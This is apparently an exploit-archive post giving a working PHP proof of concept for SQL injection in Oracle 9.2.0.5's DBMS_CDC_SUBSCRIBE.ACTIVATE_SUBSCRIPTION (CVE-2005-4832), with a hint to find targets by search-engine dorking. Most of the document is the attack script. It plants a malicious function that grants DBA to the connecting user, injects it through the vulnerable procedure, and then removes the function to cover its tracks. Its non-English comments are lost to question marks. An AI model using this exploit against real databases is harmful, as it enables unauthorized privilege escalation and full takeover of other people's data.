Oracle Database Server 9.2.0.5 SQL Injection

=============================================================================================================================================
| # Title Oracle Database Server 9.2.0.5 SQL Injection

=============================================================================================================================================
| # Title : Oracle Database Server 9.2.0.5 SQL Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.oracle.com/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: SQL injection vulnerability in Oracle database SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package.

(Related : https://packetstorm.news/files/id/180720/ Linked CVE numbers: CVE-2005-4832 ) .

[+] save code as poc.php.

[+] Set target : line 3 + 4 + 5 + 6 + 7

[+] PayLoad :

<?php
// ????? ??????? ?????? ?????? Oracle
$host = "localhost"; // ???????? ?????? ???????
$port = "1521"; // ???? Oracle
$sid = "ORCL"; // ???? ????? ????????
$user = "victim_user"; // ???????? ????????
$password = "victim_password"; // ???? ??????

try {
$dsn = "oci:dbname=$host:$port/$sid;charset=UTF8";
$conn = new PDO($dsn, $user, $password);
$conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

echo "[+] ??????? ?????? ???????? ????!\n";

// ??? ???? ???????
$func_name = "h4ck" . rand(1000, 9999);

// ????? ???? ???? ?????? ????? SQL ????????? ?????
$function = "
CREATE OR REPLACE FUNCTION $func_name RETURN VARCHAR2
AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO $user';
RETURN '';
END;
";

// ??????? ?????
$injection = "
BEGIN
sys.dbms_cdc_subscribe.activate_subscription('''||$func_name()||''');
END;
";

// ??? ?????? ??? ???????
$clean = "DROP FUNCTION $func_name";

echo "[+] ????? ?????? ??????...\n";
$conn->exec($function);

try {
echo "[+] ?????? ????? ??? SQL...\n";
$conn->exec($injection);
} catch (Exception $e) {
echo "[-] ??? ????? ?????: " . $e->getMessage() . "\n";
} finally {
echo "[+] ????? ??????...\n";
$conn->exec($clean);
}

echo "[+] ????? ???????.\n";
} catch (PDOException $e) {
die("[-] ??? ?? ???????: " . $e->getMessage() . "\n");
}
?>




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================